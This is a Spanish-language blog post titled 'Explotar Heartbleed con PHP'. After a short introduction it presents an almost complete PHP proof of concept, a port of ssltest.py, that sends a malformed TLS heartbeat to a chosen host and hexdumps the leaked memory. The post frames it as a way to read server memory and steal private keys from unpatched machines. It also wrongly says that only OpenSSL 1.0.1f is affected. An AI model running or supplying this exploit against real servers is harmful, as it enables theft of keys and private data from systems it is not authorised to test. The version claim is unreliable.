Explotar Heartbleed con PHP

7:25 0 Comments A+ a-


Como ya sabrán, Heartbleed es un agujero de seguridad en la biblioteca de código abierto OpenSSL, solo vulnerable en su versión 1.0.1f, que permite a un atacante leer la memoria de un servidor o un cliente, permitiéndole por ejemplo, conseguir las claves privadas SSL de un servidor. Y es que, aunque esta vulnerabilidad ya tiene su "tiempo" y casi todos los servidores están actualizados, siempre hay algún despistado.


Código: PHP
  1. <?php
  2. /**
  3. * Heartbleed POC
  4. *
  5. * @author Zerquix18
  6. *
  7. * @link http://github.com/zerquix18/heartbleed
  8. *
  9. * NOTE: This is the translation of ssltest.py from python to PHP
  10. * Don't be evil...
  11. **/
  12. echo "--------PHP Heartbleed POC ---------------\n\n";
  13. if( 1 == $argc )
  14. exit("Usage: \"php ssltest.php url.com 443\"\n");
  15. array_shift($argv);
  16. $data = array(
  17. $argv[0],
  18. array_key_exists(1, $argv) && is_numeric($argv[1]) ? $argv[1] : 443
  19. );
  20. if( false == ($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) ) )
  21. exit("Unable to create socket!");
  22. function h2bin( $x ) {
  23. $x = str_replace( array(" ", "\n"), "", $x);
  24. return hex2bin($x);
  25. }
  26. $hello = h2bin("16 03 02 00 dc 01 00 00 d8 03 02 53
  27. 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
  28. bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
  29. 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
  30. 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
  31. c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
  32. c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
  33. c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
  34. c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
  35. 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
  36. 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
  37. 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
  38. 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
  39. 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
  40. 00 0f 00 01 01");
  41. $hb = h2bin("18 03 02 00 03
  42. 01 40 00");
  43. /**
  44. *
  45. * Thanks: http://stackoverflow.com/a/4225813/1932946
  46. **/
  47. function hexdump($data) {
  48. static $width = 16;
  49. static $pad = '.';
  50. static $from = '';
  51. static $to = '';
  52. if ($from==='')
  53. {
  54. for ($i=0; $i<=0xFF; $i++)
  55. {
  56. $from .= chr($i);
  57. $to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;
  58. }
  59. }
  60. $hex = str_split(bin2hex($data), $width*2);
  61. $chars = str_split(strtr($data, $from, $to), $width);
  62. $offset = 0;
  63. foreach ($hex as $i => $line) {
  64. echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . "]\n";
  65. $offset += $width;
  66. }
  67. }
  68. function recvall($length, $timeout = 5) {
  69. global $s;
  70. $endtime = time() + $timeout;
  71. $rdata = "";
  72. $remain = $length;
  73. while($remain > 0) {
  74. $rtime = $endtime - $timeout;
  75. if( $rtime < 0 )
  76. return null;
  77. $e = NULL;
  78. $r = array($s);
  79. @socket_select( $r, $w, $e, 5);
  80. if( in_array($s, $r) ) {
  81. $d = @socket_recv($s, $data, $remain, 0 );
  82. if( false == $data )
  83. return null;
  84. $rdata .= $data;
  85. $remain -= strlen($data);
  86. }
  87. }
  88. return $rdata;
  89. }
  90. function recvmsg() {
  91. global $s;
  92. $hdr = recvall(5);
  93. if( null === $hdr ):
  94. echo "Unexpected EOF receiving record header - server closed connection\n";
  95. return array(null, null, null);
  96. endif;
  97. list($typ, $ver, $ln) = array_values( unpack("Cn/n/nC", $hdr) );
  98. $pay = recvall($ln, 10);
  99. if( null === $pay ) {
  100. echo "Unexpected EOF receiving record payload - server closed connection\n";
  101. return array(null, null, null);
  102. }
  103. printf(" ... received message: type = %d, ver = %04x, length = %d\n", $typ, $ver, strlen($pay) );
  104. return array($typ, $ver, $pay);
  105. }
  106. function hit_hb() {
  107. global $hb, $s;
  108. socket_send($s, $hb, strlen($hb), 0);
  109. while( true ) {
  110. list($typ, $ver, $pay) = recvmsg();
  111. if( null === $typ )
  112. exit('No heartbeat response received, server likely not vulnerable');
  113. if( 24 == $typ ){
  114. echo "Received heartbeat response:\n";
  115. hexdump($pay);
  116. if( strlen($pay) > 3 )
  117. echo 'WARNING: server returned more data than it should - server is vulnerable!';
  118. else
  119. echo 'Server processed malformed heartbeat, but did not return any extra data.';
  120. return true;
  121. }
  122. if( 21 == $typ ) {
  123. echo "Received alert:\n";
  124. hexdump($pay);
  125. echo 'Server returned error, likely not vulnerable';
  126. return false;
  127. }
  128. }
  129. }
  130. echo "Connecting to socket...\n";
  131. $s_ = socket_connect( $s, $data[0], (int) $data[1] );
  132. if( ! $s )
  133. exit("Error [". socket_last_error() . "]: " . socket_strerror( socket_last_error() ) . "\n" );
  134. echo "Sending client hello...\n";
  135. @socket_send($s, $hello, strlen($hello), 0 );
  136. while( true ) {
  137. list($typ, $ver, $pay) = recvmsg();
  138. if( null == $typ )
  139. exit("Server closed conection without sending hello!\n");
  140. if( 22 == $typ && ord($pay[0]) == 0x0E )
  141. break;
  142. }
  143. echo "Sending heartbeat request...\n";
  144. @socket_send($s, $hb, strlen($hb), 0);
  145. hit_hb();


 O bien, lo pueden descargar desde aquí: https://github.com/Zerquix18/heartbleed/blob/master/ssltest.php


Autor:  Zerquix18